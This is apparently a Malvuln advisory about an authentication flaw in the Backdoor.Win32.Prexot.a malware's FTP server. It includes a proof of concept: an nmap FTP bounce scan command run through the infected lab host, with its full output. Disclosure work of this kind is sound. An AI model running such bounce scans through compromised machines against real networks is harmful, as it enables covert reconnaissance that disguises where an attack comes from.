Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/29bc048d58ab8038c7001ef0d5e69c9b_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Prexot.a
Vulnerability: Port Bounce Scan (MITM)
Description: The malware listens on random high TCP ports e.g 11404, 19545, 17001, 10110 and accepts any credentials. Third-party intruders who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: 29bc048d58ab8038c7001ef0d5e69c9b
Vuln ID: MVID-2022-0485
Dropped files: services.exe, mstempf.exe
Disclosure: 02/08/2022


Exploit/PoC:
nmap -n -Pn -b malvuln:malvuln@192.168.18.129:19545 -p21,22,80 192.168.18.237 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-07 15:45 UTC-11
Resolved FTP bounce attack proxy to 192.168.18.129 (192.168.18.129).
Attempting connection to ftp://malvuln:malvuln@192.168.18.129:19545
Connected:220 Bot Server (Win32)
Login credentials accepted by FTP server!
Initiating Bounce Scan at 15:46
Attempting connection to ftp://malvuln:malvuln@192.168.18.129:19545
Connected:220 Bot Server (Win32)
Login credentials accepted by FTP server!
Discovered open port 80/tcp on 192.168.18.237
Completed Bounce Scan at 15:46, 10.39s elapsed (3 total ports)
Nmap scan report for 192.168.18.237
Host is up.

PORT   STATE  SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open   http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 19.63 seconds


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